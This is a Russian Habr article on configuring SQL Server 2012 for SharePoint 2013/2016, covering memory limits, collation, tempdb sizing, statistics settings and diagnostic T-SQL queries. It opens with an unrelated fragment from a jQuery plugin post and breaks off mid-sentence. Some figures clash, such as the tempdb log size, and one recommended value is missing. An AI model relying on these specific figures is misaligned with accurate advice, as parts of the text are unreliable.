**UPD:** спасибо доброму человеку [krasivayasvo](https://habrahabr.ru/users/krasivayasvo/) за [наводку](http://habrahabr.ru/blogs/jquery/88071/#comment_2640250), изменил событие change в плагине на live('change keypress'), обновил демо и сам плагин.
**UPD2:** спасибо еще одному доброму человеку [rvsob](https://habrahabr.ru/users/rvsob/) за [исправление плагина](http://habrahabr.ru/blogs/jquery/98311/) (исправлены некоторые проблемы, например, переопределения события onbeforeunload, неправильной работы с текстовым полем (textarea)). Подробнее по [ссылке](http://habrahabr.ru/blogs/jquery/98311/) | https://habr.com/ru/post/88071/ | null | ru | null |
# Тюнинг SQL Server 2012 под SharePoint 2013/2016. Часть 2
Здравствуйте! Сегодня с вами снова я — Любовь Волкова, системный архитектор департамента разработки бизнес-решений. В [предыдущей статье](https://habrahabr.ru/company/softline/blog/325242/) мы начали обсуждение темы тюнинга SQL-серверов для работы с базами данных SharePoint 2013/2016. В материале были подробно рассмотрены вопросы выбора между физическим и виртуальным сервером, планирование размера, размещения баз данных, подготовка дисковой подсистемы и оптимизация передачи данных по сети.
Сегодня мы продолжаем рассказ, останавливая свое внимание на особенностях настройки параметров SQL-сервера в ходе процесса инсталляции с учетом последующей работы с базами данных SharePoint, а также настройках перед развертыванием SharePoint и в процессе обслуживания баз данных корпоративного портала.
Основная цель статьи – помочь системным администраторам, администраторам баз данных выполнить грамотную подготовку серверов, развертывание, настройку и обслуживание SQL-сервера с учетом лучших практик оптимизации производительности корпоративных порталов SharePoint.
Установка SQL Server 2012
-------------------------
### Экран выбора функциональных компонентов
В ходе инсталляции компонентов SQL-сервера на экране выбора функциональных компонентов предоставляется возможность указать путь к папкам файловой системы, в которые необходимо сохранять файлы, связанные с этими компонентами.
Пути по умолчанию указывают на папки, размещенные на диске C:. Настоятельно рекомендуется изменить этот путь, обеспечив инсталляцию компонентов на другой диск.
### Конфигурация экземпляра SQL-сервера
На странице конфигурации экземпляра SQL-сервера предлагается ввести данные о имени экземпляра и расположении файлов в файловой системе, связанных с ним.
Использование имени экземпляра по умолчанию не является принципиальным с точки зрения оптимизации производительности SQL-сервера. Настоятельно рекомендуется установить значение путей в файловой системе для размещения файлов в соответствие с настройками размещения файлов, связанных с компонентами SQL.
### Сервисные учетные записи
На странице конфигурационных настроек сервера требуется ввести данные о сервисных учетных записях. Несмотря на то, что настройки на этой странице не имеют отношение к производительности SQL-сервера, они важны для корректной настройки безопасности. Ввиду частых ошибок и вопросов, связанных с ними, их описание включено в раздел.
Рекомендуется установить отдельные учетные записи для служб SQL Server Agent и SQL Database Engine.
Рекомендуемый минимальный перечень учетных записей:
* **Sql\_installation** – учетная запись Active Directory (AD), используем для инсталляции SQL, которая на время инсталляции необходимо включить в группу локальных администраторов. После инсталляции учетную запись Sql\_installation заблокировать. Она нужна будет только на время инсталляции обновлений.
* **Sql\_engine** – учетная запись Active Directory (AD), администратор отдельного экземпляра SQL Server 2012 (для каждого экземпляра свой), которая не входит в группу локальных администраторов. Под этой учетной записью будет работать сервисы SQL Server для устанавливаемого экземпляра (служба SQL Server Database Engine). Эта учетная запись не должна входить в группы локальных, доменных администраторов или администраторов предприятий.
* **SQL\_agent** – учетная запись службы агента SQL Server, позволяющей автоматизировать некоторые административные задачи. Агент SQL-сервера выполняет задания, контролирует SQL Server и обрабатывает предупреждения. Служба агента SQL Server должна быть запущена для автоматического запуска локальных или много серверных административных заданий. Рекомендуется выбирать учетную запись пользователя домена Active Directory, не входящего в группу локальных администраторов.
* **SQL\_browser** – учетная запись браузера SQL-сервера, которая прослушивает входящие запросы на ресурсы SQL-сервера и предоставляет сведения об экземплярах, установленных на этом компьютере. Рекомендуется выбирать учетную запись пользователя домена Active Directory, не входящего в группу локальных администраторов. В случае, если на сервере инсталлируется экземпляр, имя которого отличается от имени по умолчанию или количество экземпляров более одного, включение службы является обязательным.
* **SQL\_admin** – учетная запись администратора SQL-сервера.
### Параметры сортировки
Как правило, во время инсталляции SQL-сервера настройки параметров сортировки оставляют по умолчанию, что не соответствует рекомендуемым настройкам для SharePoint-фермы. В общем случае SharePoint позволят работать с любыми встроенными параметрами сортировки, но для системных баз данных SQL Server 2012 (master и tempdb) настоятельно рекомендуется использовать параметры, непосредственно адаптированные под SharePoint:
* Англоязычная версия SharePoint 2013 использует **Latin1\_General\_CI\_AS\_KS\_W**S;
* Русскоязычная версия SharePoint 2013 использует **Cyrillic\_General\_CI\_AS**.
Каждая аббревиатура в названии параметров сортировки имеет строго определенное значение:
* **CI**, Case Insensitive (нечувствительность к регистру). «A» и «а» рассматриваются как один и тот же символ.
* **A**S, Accent Sensitive (чувствительность диакритическим знакам, — знакам акцента). С**имволы «a» и «á» рассматриваются как разные символы.**
KS, Kana Sensitive (чувствительность к символам японского алфавита). Символы Japanese Hirakana и Katakana, которые выглядят одинаково, рассматриваются как разные символы.
* **WS**, Width Sensitive (чувствительность к объему данных). Символ, требующий для хранения в таблице SQL один байт и тот же символ, требующий для хранения два байта рассматриваются системой как два разных символа.
Указанные настройки параметров сортировки обеспечивают максимальное соответствие условиям проверки уникальности файлов в операционной системе Windows, как описано [здесь](https://technet.microsoft.com/en-us/library/cc288970.aspx#section1).
После инсталляции SQL-сервера параметры сортировки, установленные для экземпляра, невозможно изменить. В связи с этим на странице конфигурационных настроек сервера мастера инсталляции рекомендуется выставить значения, рекомендованные для SharePoint.
Для установки значений параметров на странице выбора параметров сортировки должны быть установлены следующие значения:
При создании любых баз данных SharePoint средствами графического интерфейса или командной строки, для них автоматически конфигурируются параметры сортировки Latin1\_General\_CI\_AS\_KS\_WS (для англоязычной версии) или Cyrillic\_General\_CI\_AS (для русскоязычной версии).
### Конфигурационные настройки ядра SQL-сервера
#### Настройки сервера
На странице конфигурационных параметров сервера необходимо ввести данные о режиме аутентификации SQL-севера и учетной записи администратора. Эти параметры не оказывают влияния на производительность сервера, но важны с точки зрения настройки безопасности.
Настоятельно рекомендуется выбрать смешенный режим аутентификации, который позволяет пользователям подключаться с помощью проверки подлинности Windows или SQL Server. На странице ввода конфигурационных параметров сервера необходимо ввести данные о пароле системной учетной записи sa, а также выбрать администратора SQL из числа учетных записей Active Directory. Учетная запись sa всегда присутствует в качестве имени входа в компонент ядра SQL-сервер и является членом предопределенной роли сервера **sysadmin**.
Если компонент ядра SQL-сервера установлен с использованием только проверки подлинности Windows (то есть проверка подлинности SQL Server не включена), имя входа sa все равно будет присутствовать, но будет отключена.
#### Расположение файлов баз данных по умолчанию
На странице настройки расположения файлов баз данных по умолчанию требуется указать размещение файлов для размещения файлов данных, журналов транзакций баз данных SQL-сервера и резервных копий. В случае подготовки экземпляра SQL-сервера к инсталляции и последующего хранения данных SharePoint на этой странице рекомендуется указать размещение для:
1. Файлов данных системной базы tempdb;
2. Журнала транзакций системной базы tempdb;
3. Файлов данных баз контента SharePoint;
4. Журналов транзакций баз контента SharePoint;
5. Резервный копий баз данных SharePoint.
Общей рекомендацией является размещение всех перечисленных категорий файлов на разных дисках:
Конфигурирование после установки SQL-сервера
--------------------------------------------
После завершения инсталляции SQL-сервера необходимо выполнить ряд важных настроек перед тем, как будет запущен процесс установки SharePoint Server 2013. Если же установка SharePoint уже выполнена, вы тоже можете внести изменения для того, чтобы повысить производительность работы портала.
С целью оптимизации производительности SharePoint рекомендуется настроить следующие параметры сервера SQL:
* Установить максимальный и минимальный объем памяти, коэффициент заполнения для индекса, максимальный уровень параллелизма для SQL-сервера;
* Задать пути для сохранения по умолчанию файлов данных, журналов транзакций и резервных копий по умолчанию;
* Настроить сжатие при резервном копировании и проверку страниц при восстановлении;
* Для каждой из баз данных SharePoint и базы данных tempdb установить исходный размер файлов данных и журналов транзакций, параметры автоматического увеличения размера файлов данных и журналов
* Настроить параметры автоматического создания и обновления статистики
* Сконфигурировать мгновенную инициализацию файлов
* Выполнить настройку параметров блокировки страниц в памяти
### Экспресс-аудит использования ОЗУ
По умолчанию SQL-сервер сконфигурирован на использование до 2Тб ОЗУ. Это означает, что он может использовать всю доступную оперативную память на сервере, ничего не оставляя для операционной системы и других приложений. Подобная конкуренция за доступ к памяти между операционной системой, приложениями и сервером баз данных обычно крайне негативно сказывается на производительности SharePoint.
Для решения указанной проблемы ограничивают максимальный объем ОЗУ, выделяемый для использования SQL-сервером.
Приведенный ниже скрипт позволят получить экспресс-информацию о текущем состоянии и статусе использования оперативной памяти:
```
SELECT
total_physical_memory_kb
, available_physical_memory_kb
, total_page_file_kb, available_page_file_kb
, system_memory_state_desc
FROM sys.dm_os_sys_memory WITH (NOLOCK) OPTION (RECOMPILE);
```
Наилучшим результатом, свидетельствующим о том, что система не испытывает проблем с ОЗУ является получение значения «Available physical memory is high» в поле «system\_memory\_state\_desc». Получение значения «Available physical memory is low» будет свидетельствовать об обратном.
Пример результата:
Получить данные о текущих параметрах сервера, связанных с настройкой использования ОЗУ, можно при помощи следующего скрипта:
```
SELECT name, value, minimum, maximum, value_in_use
FROM sys.configurations
WHERE name IN (
'min server memory (MB)'
,'max server memory (MB)'
)
```
Пример результата:
### Максимальный объем памяти
Для расчета максимального объема памяти используется следующая формула:
**SQL максимальный размер ОЗУ** = TotalPhyMem — (NumOfSQLThreads \* ThreadStackSize) — (1GB \* ОКРУГЛВНИЗ(NumOfCores/4)) — RAMOSReserved — RAMForOtherApps, где:
* **TotalPhyMem** – общий физический размер ОЗУ на сервере.
* **NumOfCore**s – кол-во ядер процессоров.
* **NumOfSQLThreads** – кол-во потоков, использующихся на сервере для обработки запросов к базам данных. При кол-ве ядер до 4 значение NumOfSQLThreads всегда постоянно и равно 256. При кол-ве ядер свыше 4 расчет выполняется по формуле: NumOfSQLThreads = 256 + (NumOfCores- 4) \* 8.
* **ThreadStackSize** = 2Мб для серверов x64. Для серверов IA64 ThreadStackSize=4Мб.
* **RAMOSReserved** – ОЗУ для операционной системы. 20% для серверов с TotalPhyMem не более 15 Гб и 12,5% для большего объема.
* **RAMForOtherApps** – ОЗУ для других экземпляров SQL-сервера и приложений;
Получить информацию о процессорах и размере физической памяти на сервере можно при помощи следующего скрипта:
```
SELECT cpu_count AS [Logical CPU Count]
, hyperthread_ratio AS [Hyperthread Ratio]
, cpu_count / hyperthread_ratio AS [Physical CPU Count]
, osi.physical_memory_kb / 1024 AS [Physical Memory (MB)]
, sqlserver_start_time
FROM sys.dm_os_sys_info as osi;
```
Пример полученных результатов:
Приведем пример расчета максимального объема ОЗУ для SQL-сервера. Исходные данные для выполнения вычислений:
* TotalPhyMem = 8191 Мб;
* NumOfCores = 4;
* Сервер x64;
* RAMForOtherApps = 2000 Мб.
**SQL максимальный размер ОЗУ** = ОКРУГЛВНИЗ(8191 Мб — (256 \* 2 Мб) — (1024 Мб \* ОКРУГЛВНИЗ(4/4)) – 0,2\*8191 Мб – 2000 Мб) = ОКРУГЛВНИЗ(8191 Мб – 512 Мб – 1024 Мб – 1638,2 Мб – 2000 Мб)= 3017 Мб.
Для автоматизации выполнения расчетов можно использовать [SQL MAX MEMORY CALCULATOR](https://sqlmem.codeplex.com/).
Начиная с версии SQL 2008 R2, в случае наличия только одного экземпляра SQL на сервере, нет необходимости устанавливать вручную значение максимального объема выделяемой памяти. Это значение рассчитывается автоматически компонентом управления памятью Microsoft SQL Server на основе данных о текущем использовании ОЗУ операционной системой и другими приложениями и динамически изменяется в случае уменьшения/увеличения нагрузки на эту подсистему.
### Минимальный объем памяти
Установка значения минимально выделяемого кол-ва оперативной памяти для SQL-сервера позволяет гарантировать, что при расчете системой выделяемой памяти под нужды операционной системы и других приложений для SQL-сервера будут зарезервировано не менее указанного объема ОЗУ. Значение «0» по умолчанию допускает ситуации, при которых на нужды сервера баз данных будет выделено минимально возможное кол-во ресурсов, что может очень негативно сказаться на производительности SharePoint.
Отметим, что установка ненулевого значения для параметра «Min Server Memory» не означает, что SQL автоматически получит весь указанный объем ОЗУ и будет постоянно его использовать. Выделение памяти будет всегда зависеть от текущей нагрузки. Текущие показатели могут отличаться от указанного параметра как в меньшую, так и в большую сторону.
Рекомендуемыми значениями параметра «Min Server Memory» являются следующие:
* SharePoint используется главным образом для совместной работы, активно выполняется редактирование контента.
* 60% от значения параметра «Max Server Memory» в случае, если корпоративный портал SharePoint в основном используется для поиска и просмотра контента.
* В остальных случаях устанавливается значение между 25% и 60% пропорционально процентному соотношению между чтением/изменением данных на корпоративном портале.
Для рассматриваемого примера значение параметра «Min Server Memory» должно быть установлено в диапазоне от 754 Мб до 1810 Мб.
### Коэффициент заполнения для индекса
Коэффициент заполнения (параметр «fill factor») служит для точной настройки хранения и производительности индекса. При создании или перестроении индекса коэффициент заполнения отображает процент заполнения пространства каждой страницы конечного уровня, что позволяет зарезервировать для будущего расширения оставшееся на каждой странице пространство как свободное. Например, при указании для коэффициента заполнения значения 80 на каждой странице конечного уровня будет зарезервировано 20 процентов занимаемого ею дискового пространства. Данное дисковое пространство будет использовано для расширения индекса при добавлении в базовую таблицу новых данных. Пустое место резервируется не в конце индекса, а между строками индекса.
Коэффициент заполнения — это значение в процентах от 1 до 100; значение по умолчанию на сервере — 0, что означает полное заполнение страниц конечного уровня.
Для SharePoint для поддержки роста баз данных и снижения уровня фрагментации индексов оптимальным является значение 80.
Следующий скрипт позволят получить информацию от текущих настройках коэффициента заполнения индекса по умолчанию на уровне SQL-сервера:
```
SELECT name,value,minimum, maximum,value_in_use
FROM sys.configurations
WHERE name IN (
'fill factor (%)'
)
```
Пример результата:
### Максимальная степень параллелизма
В SharePoint 2010 установка значения «1» была опциональна, но для SharePoint 2013 значение, отличное от 1 будет препятствовать запуску мастера конфигурации фермы SharePoint. Установка указанного значения для степени параллелизма гарантирует то, что SQL-сервер, на котором размещены базы данных SharePoint, каждый из запросов обрабатывается только одним единственным процессом. Любое другое значение может стать причиной выбора менее оптимального плана выполнения для запроса и может послужить снижению общей производительности SharePoint Server 2013.
Ниже приведен скрипт, позволяющий получить данные о текущих настройках сервера SQL:
```
SELECT name,value,minimum, maximum,value_in_use
FROM sys.configurations
WHERE name IN (
'max degree of parallelism'
)
```
Пример результата:
### Расположение файлов по умолчанию и сжатие в ходе резервного копирования
#### Расположения файлов
Настоятельно рекомендуется хранить файлы журналов транзакций, файлы данных и файлы резервных копий баз данных на разных дисках.
Текущие настройки для экземпляра SQL-сервера можно выяснить при помощи следующего скрипта:
```
--Получение данных о настройках сервера SQL:
--пути сохранения данных, журналов транзакций и резервных копий
Declare @DataDir nvarchar(4000),
@LogDir nvarchar(4000),
@BakDir nvarchar(4000),
@Instance sysname
Set @Instance = IsNull('\' + Cast(ServerProperty('InstanceName') as sysname), '')
Exec xp_instance_regread N'HKEY_LOCAL_MACHINE',
N'Software\Microsoft\MSSQLServer\MSSQLServer',
N'DefaultData',
@DataDir output,
'no_output'
Exec xp_instance_regread N'HKEY_LOCAL_MACHINE',
N'Software\Microsoft\MSSQLServer\MSSQLServer',
N'DefaultLog',
@LogDir output,
'no_output'
Exec xp_instance_regread N'HKEY_LOCAL_MACHINE',
N'Software\Microsoft\MSSQLServer\MSSQLServer',
N'BackupDirectory',
@BakDir output,
'no_output'
Select Data = @DataDir, Logs = @LogDir, BAK = @BakDir
```
Пример результата:
В случае изменения расположения файлов по умолчанию необходимо перезапустить службу SQL-сервера, связанную с экземпляром, в настройки которого вносились изменения.
#### Сжатие в ходе резервного копирования
Сжатие резервных копий позволяет ускорить резервное копирование в SharePoint. Оно доступно в выпусках SQL Server Standard Edition и Enterprise Edition. Установив параметр сжатия в скрипте резервного копирования или настроив сервер SQL Server для сжатия по умолчанию, можно значительно сократить размер резервных копий базы данных и доставляемых журналов.
Ниже приведен скрипт для получения данных о текущих параметрах сжатия в ходе выполнения резервного копирования:
```
SELECT name,value,minimum, maximum,value_in_use
FROM sys.configurations
WHERE name IN (
'backup compression default'
)
```
Пример результата:
Изменение настроек, связанных с расположением файлов по умолчанию и сжатием в ходе выполнения резервного копирования можно выполнить посредством пользовательского интерфейса, открыв параметры сервера.
### Настройка параметров базы данных model
Шаблон базы данных model используется для создания всех баз данных в экземпляре SQL-сервер. Настройки и контент этой базы данных копируются для всех новых пользовательских баз данных при их создании.
Еще до установки SharePoint 2013 необходимо выполнить подготовку базы данных model, чтобы обеспечить автоматическое копирование большинства параметров и избежать последующего ручного конфигурирования для каждой отдельной базы данных после ее создания.
Следующие параметры рекомендуется настроить для базы данных model перед развертыванием SharePoint:
* Проверка страниц при восстановлении (Page Verify), значение «CHECKSUM»;
* Автоматическое создание статистики (Auto Create Statistics), значение «False»;
* Автоматическое обновление статистики (Auto Update Statistics), значение «False»;
* Автоматическое асинхронное обновление статистики (Auto Update Statistics Asynchronously), значение «False»;
* Автоматическое сжатие базы данных (Auto Shrink), значение «False».
По умолчанию настройки системной базы данных SQL не соответствуют рекомендуемым:
Если установка SharePoint выполнена ранее, необходимо внести изменения в параметры всех баз данных, настройки которых отличаются от рекомендуемых.
Следующий скрипт позволяет получить информацию о текущей конфигурации баз данных (на примере model и двух баз данных SharePoint):
```
SELECT
name
, is_auto_create_stats_on
, is_auto_update_stats_on
, is_auto_update_stats_async_on
, is_auto_shrink_on
,page_verify_option_desc
FROM sys.databases
WHERE name IN ( --перечислить все базы данных, для которых будет выполнена проверка
'model'
,'WSS_Content'
,'SharePoint_Config'
)
```
Пример результата:
#### Cоздание/обновление статистики
Автоматическое создание/обновление статистики для SharePoint Server не поддерживается, поэтому оно должно быть отключено для всех баз. Необходимо установить значение «False» для параметров «Auto Create Statistics», «Auto Update Statistics» и «Auto Update Statistics Asynchronously».
SharePoint Server настраивает необходимые параметры во время подготовки и обновления системных баз данных, баз данных контента и приложений-служб. При включении автоматического создания статистики в базе данных SharePoint вручную может существенно измениться план выполнения запросов.
Рекомендуем ежедневно обновлять статистику базы данных контента SharePoint, используя параметр FULLSCAN на сервере SQL Server. Хотя в SharePoint есть системное задание таймера для обновления статистики, настоятельно рекомендуется установить график планового обслуживания на сервере SQL Server, чтобы статистика базы данных обновлялась ежедневно. Подробнее о настройке плана обслуживания и обновления статистики можно прочитать [здесь](https://habrahabr.ru/post/209816/).
#### Проверка страниц при восстановлении
Настоятельно рекомендуется установить значение «CHECKSUM» для параметра проверки страниц при восстановлении (Page Verify), как минимум для системных баз данных SharePoint и баз контента. В этом случае SQL-сервер вычисляет контрольную сумму для контента всей страницы и сохраняет это значение в ее заголовке при записи на диск. При считывании страницы данных с диска выполняется пересчет контрольной суммы данных и сравнение полученного значения с тем, которое записано в заголовке. Это обеспечивает постоянную поддержку высокого уровня целостности данных.
#### Автоматическое сжатие базы данных
Следует позаботиться, чтобы никоим образом не было включено сжатие. Сжатие можно использовать для уменьшения размера файла данных или журнала транзакций, но это очень грубый, ресурсоемкий процесс, который вызывает широкую логическую фрагментацию просмотра в файлах данных и ведет к низкой производительности. Сжатие отдельных файлов данных и журнала вручную может быть допустимо при особых обстоятельствах.
Автоматическое сжатие особенно вредно, поскольку оно запускается каждые 30 минут в фоновом режиме и пытается сжимать базы данных, для которых выставлен параметр автоматического сжатия. Этот процесс не вполне предсказуем в том, что он сжимает лишь базы данных с более чем 25% свободного места. Автоматическое сжатие использует массу ресурсов и вызывает понижающую производительность фрагментацию, так что оно нежелательно при любых обстоятельствах. Его всегда следует отключать.
### Настройка параметров базы данных tempdb
Системная база данных tempdb — это глобальный ресурс, доступный всем пользователям, подключенным к данному экземпляру SQL-сервер, в котором хранятся следующие объекты:
* временные объекты, созданные явно, такие как глобальные или локальные временные таблицы, временные хранимые процедуры, табличные переменные и курсоры;
* внутренние объекты, создаваемые компонентом SQL Server Database Engine, например, рабочие таблицы, хранящие промежуточные результаты буферов или сортировки;
* версии строк, сформированные транзакциями изменения данных в базе данных, в которой используются транзакции изоляции моментальных снимков с зафиксированным чтением и транзакции изоляции моментальных снимков;
* версии строк, создаваемые транзакциями изменения данных для таких функций, как операции с индексами в сети, функции режима MARS и триггеры AFTER.
По умолчанию база данных tempdb настроена на работу в простом режиме восстановления.
#### Количество, первоначальный размер и автоматический рост файлов
База данных tempdb является одной из наиболее интенсивно использующихся баз данных и должна всегда располагаться на наиболее скоростных дисках. В случае, если создается несколько файлов данных для этой базы, SQL-сервер обеспечивает одновременную запись данных в каждый из них, тем самым увеличивая производительность выполнения указанной операции.
Общей рекомендацией является создание по одному файлу на каждое ядро процессора. Майкрософт также говорит о допустимости создания одного дополнительного файла данных из расчета на 2/4 ядра.
Размер файлов базы данных tempdb может оказывать существенное влияние на производительность системы в целом. Если ее размер слишком мал, система будет часто выполнять операции автоматического приращения базы данных, инициируя регулярную дополнительную нагрузку.
Пример записи в журнал о частых событиях автоматического приращения файла базы данных контента (для базы данных tempdb возможна аналогичная ситуация):
Для того, чтоб избежать частых приращений рекомендуется задать для базы данных tempdb приемлемое исходное значение размера файлов базы данных и размер автоматического приращения.
Размер каждого из файлов должен совпадать, при этом суммарный размер всех исходный размеров фалов данных должен быть настроен на 10-25% от размера самой большой базы данных контента. Рекомендации специалистов Майкрософт для размер автоматического роста файлов – 10% от размера файла данных.
Размер файла журнала транзакций – 50% от исходного размера файла данных. Автоматический рост файла журнала транзакций – 50% от его исходного размера.
Пример:
* память — 8Гб;
* процессоров 4-ядра;
* база контента 95 Гб.
Исходный размер файла журналов транзакций – около 25% от суммарного исходного размера всех файлов данных, следовательно:
* количество файлов – 4шт, суммарный размер 24 Гб, то есть каждый файл по 6Гб;
* автоматический прирост – 614 Мб;
* исходный размер файла журналов транзакций – 3 Гб;
* автоматически прирост файлов журналов – 1,5 Гб.
Важно: настоятельно рекомендуется для каждого из файлов данных базы данных tempdb установить одинаковые параметры начального размера и автоматического приращения. Эти параметры позволят SQL-серверу более эффективно управлять пропорциональностью заполнения файлов данными.
#### Проверка страниц
Необходимо убедиться в том, что установлено значение **CHECKSU**M для параметра **Проверка страниц (Page Veriety)**.
#### Дополнительные рекомендации относительно конфигурирования tempdb
Перечислим дополнительные рекомендации для tempdb, использующейся на экземпляре SQL-сервера, обеспечивающего хранение баз данных SharePoint:
* избегайте сжатия базы данных tempdb, выполняйте эту операцию только если вы абсолютно уверены в ее необходимости, а размер свободного места составляет около 50%;
* параметры сортировки должны совпадать с настройками этого параметра для SQL-сервера;
* не изменяйте владельца базы данных со значения sa на другое;
* не удаляйте базу данных tempdb;
* не удаляйте гостевую учетную запись из списка пользователей базы данных;
* не заменяйте режим восстановления Простой на любой другое;
* убедитесь в том, что база данных tempdb использует для хранения файлов данных и журналов RAID 1, RAID 1+0 или RAID 5 с целью предотвращения сбоя в работе SQL-сервера из-за проблем одного из дисков. Необходимо помнить о том, что в случае сбоя в работе базы данных tempdb весь экземпляр SQL-сервера прекращает свою работу.
Дополнительную информацию по настройке tempdb можно получить [здесь](http://www.mssqltips.com/sqlservertip/1432/tempdb-configuration-best-practices-in-sql-server/).
### Индивидуальные настройки для баз данных SharePoint
Важно знать, что SharePoint при создании баз данных контента или баз данных приложений-служб копирует не все настройки базы данных model.
Кроме того, значения следующих параметров конфигурируются на основе данных об особенностях использования той или иной базы данных и их необходимо настаивать индивидуально уже после создания:
* Первоначальный размер файлов данных и файлов журналов транзакций;
* Размер автоматического приращения для файлов баз данных SharePoint;
* Автоматическое создание статистики
#### Первоначальный размер файлов данных и журналов транзакций
Для каждой из баз данных SharePoint следуйте следующим рекомендациям:
1. Оцените ожидаемый размер базы данных с учетом роста в течение ближайшего года.
2. В качестве исходного суммарного размера файлов данных установите 25% от значения, полученного в п.1.
3. в качестве исходного размера файла журналов транзакций установите 25% от значения в п.2.
Ниже приведена таблица с типовыми значениями размеров баз данных SharePoint и комментариями относительно ожидаемого роста их размеров.
| База данных | Общие сведения о размере | Коэффициенты роста | Ожидания по росту |
| --- | --- | --- | --- |
| База данных контента Центра администрирования | Малый | Если в ферме SharePoint инсталлированны компоненты и настроено использование PowerPivot, все рабочие книги Excel, и файлы данных PowerPivot, использующиеся в панелях мониторинга, хранятся в базе данных контента Центра администрирования. При использовании PowerPivot для SharePoint 2013 с параметрами по умолчанию, которые задают хранение журнала сбора данных об использовании и обновлении данных в течение 365 дней, объем базы данных контента центра Центр администрирования будет увеличиваться в течение одного года.
Увеличению объема способствует создание дополнительного контента на веб-узле Центра администирования (ссылки администрирования, дополнительные списки и библиотеки документов, контент дополнительных решений и др.) | <1Гб |
| База данных конфигурации | Малый | При полном режиме восстановления и частом изменении конфигурационных настроек фермы файлы журнала транзакций, хранящиеся в базе данных конфигурации, могут значительно увеличиваться | <1Gb |
Типовые размеры баз данных SharePoint Server
| База данных | Ожидаемый размер | Ожидаемый предел роста | Коэффициенты роста | Свойства чтения/записи |
| --- | --- | --- | --- | --- |
| App Management Database | Малый | Малый | | Высокая интенсивность операций записи при установке приложений и обновлении лицензий |
| База данных службы параметров подписки | Малый | Малый | Размер определяется количеством поддерживаемых клиентов, ферм и компонентов | База данных подписок отличается высокой интенсивностью операций чтения |
| Служба подключения к бизнес-данным | Малый | Малый | Размер определяется количеством подключений | Высокая интенсивность операций чтения |
| База данных приложения-службы управляемых метаданных | Малый | Средний | На увеличение размера влияет объем управляемых метаданных | Высокая интенсивность операций чтения |
| База данных приложения-службы перевода SharePoint | Малый | Малый | | Высокая интенсивность операций чтения |
| Power Pivot Database | Малый | Малый | В процессе использования PowerPivot сохраняет дополнительные данные в базах данных контента и базе данных контента центра Центр администрирования (WSS\_Content). | Высокая интенсивность операций чтения |
| База данных PerformancePoint Services | Малый | Малый | | Высокая интенсивность операций чтения |
| База данных администрирования поиска | Малый | Средний | К факторам, влияющим на рост, относится число наиболее подходящих элементов, количество источников контента и правил обхода, описания безопасности и объем трафика | Одинаковое соотношение операций чтения/записи |
| База данных отчетов аналитики | Средний | Большой | | Высокая интенсивность операций записи во время ночного обновления аналитики |
| База данных обхода | Средний | Средний | | Высокая интенсивность операций чтения |
| База данных ссылок | Средний | Большой | Размер пространства, занимаемого базой данных ссылок на диске, увеличивается на 1 ГБ на каждый миллион документов. Объем данных о переходах по ссылкам растет линейно с увеличением трафика запросов — 1 ГБ на миллион запросов | Высокая интенсивность операций записи во время обработки контента |
| База данных Secure Store | Малый | Малый | Размер и интенсивность роста определяются количеством конечных приложений, полей учетных записей для конечного приложения и числом пользователей, хранящихся для каждого конечного приложения. Если включен аудит, на размер также влияет количество операций чтения и записи для конкретного конечного приложения | Одинаковое соотношение операций чтения/записи |
| База данных приложения-службы состояний | Малый | Большой | Зависимость от интенсивности использования компонентов, которые сохраняют данные в базе данных службы состояний | Высокая интенсивность операций чтения |
| База данных сбора данных об использовании и работоспособности | Большой | Сверхбольшой | Размер базы данных зависит от настройки хранения, числа элементов, для которых ведутся журналы и внешний мониторинг, количества веб-приложений, работающих в среде, числа пользователей, работающих в текущий момент, и включенных компонентов | Высокая интенсивность операций записи |
| База данных профилей | Малый | Большой | На увеличение размера влияют кол-во пользователей и использование каналов новостей. Каналы новостей увеличиваются с ростом активности пользователей. По умолчанию хранятся действия за последние две недели, после чего задание таймера удаляет элементы канала новостей старше двух недель | Высокая интенсивность операций чтения |
| База данных синхронизации профилей | Средний | Большой | На увеличение размера влияет количество пользователей и групп, а также соотношение пользователей и групп | Одинаковое соотношение операций чтения/записи |
| База данных социальных тегов | Очень малый | Сверхбольшой | На увеличение размера влияет количество созданных и используемых тегов, рейтингов и заметок | Высокая интенсивность операций чтения |
| База данных Word Automation | Малый | | | Высокая интенсивность операций чтения, однократно на элемент преобразования |
#### Автоматический прирост файлов баз данных SharePoint
Рекомендуется установить точные значения прироста файлов баз данных – 50% от их исходного значения.
#### Автоматическое создание статистики
Проверьте, что для базы данных SharePoint установлены следующие параметры:
* Автоматическое создание статистики (Auto Create Statistics), значение «False»;
* Автоматическое обновление статистики (Auto Update Statistics), значение «False»;
* Автоматическое асинхронное обновление статистики (Auto Update Statistics Asynchronously), значение «False»;
* Автоматическое сжатие базы данных (Auto Shrink), значение «False».
### Мгновенная инициализация файлов
В SQL Server файлы данных могут быть инициализированы мгновенно. Это разрешено для быстрого выполнения следующих файловых операций:
1. Создание базы данных.
2. Добавление файлов, журналов или данных в существующую базу данных.
3. Увеличение размера существующего файла (включая операции автоприращения).
4. Восстановление базы данных или файловой группы.
Мгновенная инициализация файлов освобождает место на диске, не заполняя пространство нулями. Вместо этого содержимое диска перезаписывается, поскольку в файлы записываются новые данные. Файлы журналов не могут быть инициализированы мгновенно.
Мгновенная инициализация файлов доступна, только если учетной записи службы SQL-сервер предоставлено разрешение на обслуживание томов. Шаги настройки соответствующей политики безопасности Active Directory:
1. Выясните данные об учетной записи, от имени которой запускаются службы SQL-сервера:
* В данных о службах
* Или в окне настройки конфигурации SQL-сервера.
2. Откройте приложение **Локальные политики** (secpol.msc).
3. Разверните на левой панели узел **Локальные политики**, а затем щелкните пункт **Назначение прав пользователей**.
4. На правой панели дважды щелкните **Выполнение задач по обслуживанию томов**.
5. Щелкните кнопку **Добавить пользователя или группу** и добавьте учетную запись, данные о которой получены в п.1.
6. Нажмите кнопку **Применит**ь и закройте все диалоговые окна **Локальная политика безопасности**.
7. Выполните перезагрузку сервиса SQL Server с целью применения политики.
### Настройка параметров блокировки страниц в памяти
В 64-разрядной версии SQL режим AWE можно включить через групповую политику – включить привилегию «блокировки страниц в памяти» для SQL-сервера. Результат – по мере необходимости автоматическое включение работы с режимом AWE для осуществления доступа к памяти буферного пула.
### Конфигурирование брандмауэра
Если брандмауэр включен, но настроен неправильно, попытка соединения с SQL Server может оказаться заблокированной. Чтобы разрешить доступ к экземпляру SQL Server через брандмауэр, его необходимо настроить на компьютере, на котором работает SQL Server.
Настроить брандмауэр можно с помощью консоли PowerShell. Перед настройкой необходимо разрешить выполнение сценариев, подписанных доверенным издателем.
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Включить брандмауэр можно с помощью следующей команды:
